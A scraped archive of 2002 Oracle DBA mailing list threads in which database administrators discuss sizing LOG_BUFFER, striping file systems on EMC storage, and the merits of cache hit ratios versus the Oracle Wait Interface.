backgammon, pool and more http://games.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Johnson Poovathummoottil INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: LOG_BUFFER Parameter Question
On Wed, Apr 24, 2002 at 10:12:22AM -0800, Gogala, Mladen wrote: Alternatively, you size it until redo_log_space_wait goes away from v$system_events. it is v$system_event -Original Message- Sent: Wednesday, April 24, 2002 4:59 AM To: Multiple recipients of list ORACLE-L Yep, wrong tree. size it like: redo blocks per tx * tx/sec * 3/2 *physical blocksize Anjo. Denham Eva wrote: Hello, I have been wondering about how to work out what the optimal LOG_BUFFER parameter, compared to the physical size of the REDOLOG file, for the best optimization and writes from buffer to log. Or am I barking up the wrong tree? Is there some other way of doing this. i.e. redolog file size is 10M and LOG_BUFFER is 512000. Can this be optimized better? Denham Eva Oracle DBA In UNIX Land On a quiet Night, you can hear the Windows machines reboot. _ This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal - For more information please visit www.marshalsoftware.com http://www.marshalsoftware.com _ -- === Ray Stell [EMAIL PROTECTED] (540) 231-4109 KE4TJC28^D -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ray Stell INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Number of File systems to use.
Now they have hardware striping. Regards, Waleed -Original Message- Sent: Wednesday, April 24, 2002 2:29 PM To: Multiple recipients of list ORACLE-L My understanding was that EMC does not stripe its disks. they just have mirror and RAID S. --- Sr DBA [EMAIL PROTECTED] wrote: Why would you software stripe it if you are using EMC? - Original Message - From: Johnson Poovathummoottil [EMAIL PROTECTED] To: LazyDBA.com Discussion [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 8:57 AM Subject: Number of File systems to use. All, Although this has been discussed many times. My boss wants other opinions on this. We EMC storage whcih uses 9 gig disks. We also use veritas volume manager. We plan to upgrade our SUN ultra e6500 to sun fire 15K machine. During to move we want to do a little reorg. This machine will have 6 partitions, 3 for the OLTP databases and 3 for the warehouse. The warehouse currently uses 20 file systems 25 GB each(3 disks raid S) for data and index. We have agreed on making the file systems to use 4 disks and stripe it with 256 KB stripe size. There are two opinions regarding the number of file systems. 1: 50 file systems of 15 GB each. In this case the 4 disks are not fully used. What is ramainig after the 15 GB can be alloted to other file systems other than the ones used by the database. Advantage IO spread over disks. 2: 20 file systems of 34 GB each. All four disks are fully used. IO over 80 disks. Question.: 1:Since we are using EMC do we need to pay so much attention to spreading IO. 2: Any problems/advantages in having too many file systems. Please give all your opinions. __ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ Oracle documentation is here: http://tahiti.oracle.com/pls/tahiti/tahiti.homepage To unsubscribe: send a blank email to [EMAIL PROTECTED] To subscribe: send a blank email to [EMAIL PROTECTED] Visit the list archive: http://www.LAZYDBA.com/odbareadmail.pl Tell yer mates about http://www.farAwayJobs.com By using this list you agree to these terms:http://www.lazydba.com/legal.html __ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Johnson Poovathummoottil INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Khedr, Waleed INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n
One I know was bring a coat to San Diego for those of you not at IOUG, San Diego, a city that is supposedly warm was COLD and everyone was freezing there they added a zero -- when you go to Tijuana, don't drink the water I don't remember the rest --- Freeman, Robert [EMAIL PROTECTED] wrote: So, do you remember the other top 10 items?? Robert -Original Message- Sent: Wednesday, April 24, 2002 11:39 AM To: Multiple recipients of list ORACLE-L please n it was also mentioned at the Oracle of Oracles closing session, in the top 10 things I learned in San Diego :) --- Cary Millsap [EMAIL PROTECTED] wrote: Might have been Dave too, but I mentioned it in my Misunderstandings About Oracle Internals talk at IOUG on Tuesday... Cary Millsap Hotsos Enterprises, Ltd. [EMAIL PROTECTED] http://www.hotsos.com -Original Message- Sent: Monday, April 22, 2002 10:58 PM To: Multiple recipients of list ORACLE-L n I think it was Dave Ensor... - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Monday, April 22, 2002 6:30 PM Hi Connor, Somebody (I think it was Cary) mentioned your little PL/SQL procedure that will provide any required CHR. So you are famous, even if you were not present :) And yes, without seeming to migrate to the CHR camp, there is some merit in what you are saying. However, I would suggest that tracking 'normal' delta values of 'cache buffer chain' gets, misses, spins and sleeps from V$SYSTEM_EVENT/V$LATCH, as well as deltas of 'table scan rows gotten' vs 'table fetch by rowid' would be a better 'ratio' than the CHR which will only serve to feed a myth. The former would give you some indication of LIO (and the stress it causes on the system) and the latter will indicate raw requirements that were met but were the ones that drove PIO As for me, I detect changes in the following SQL and page out to an on-call DBA when some set limits are exceeded: select event, count(*) from v$session_wait group by event; This does show the 'current' bottleneck and I still remain true to the calling of OWI!! John Kanagaraj Oracle Applications DBA DBSoft Inc (W): 408-970-7002 Grace - Getting something we don't deserve Mercy - NOT getting something we deserve Click on 'http://www.needhim.org' for Grace and Mercy that is freely available! ** The opinions and statements above are entirely my own and not those of my employer or clients ** -Original Message- From: Connor McDonald [mailto:[EMAIL PROTECTED]] Sent: Monday, April 22, 2002 4:44 PM To: Multiple recipients of list ORACLE-L Subject: RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n I still like to recommend the buffer cache hit ratio because its so easy to please customers with an improvement - A plsql routine to generate any desired hit ratio on a running system is freely available for download from my site... a consultants dream! :-) But, serious hat on temporarily, there IS still a use for the buffer hit ratio as a delta measurement. What I mean by this is that you measure it every 'n' mins/hrs/whatever and store it. When it displays a massive dip or a massive increase (ie something out of the ordinary for *your* system), then whilst it doesn't necessarily mean anything is wrong - it DOES mean that something has changed in your system, which is a good prompt to do some investigation.. hth connor --- John Kanagaraj [EMAIL PROTECTED] wrote: Mark, This is from a first-timer at IOUG, so I may be way off here. A lot of marketing blurb was thrown out at IOUG (probably a lot less than usual, and *much* less than Oracle OpenWorld in any case!). As for tools, many vendors were flogging the same ones, improved versions maybe. One which did make us say 'wow' was StorageXpert from Quest. IMHO, this is an excellent tool, engineered by our very own Gaja. I believe details are at the Quest site at www.quest.com. If you have EMC disks and are facing performance problems, I believe there is the best there is. (Or even if you have other storage devices, it would still give you the hotspots). And NO, I do NOT work for Quest, nor have Quest stock! And for others, I believe this was a major turning point and an eye-opener as far as the Wait Interface goes (This has (un)officially been renamed to OWI as per Kirti's slides :-). Most attendees 'saw the light' as far as CHR (Cache Hit Ratio) goes, and there were two distinct camps after the first few days - the 'CHR' and 'OWI'. No
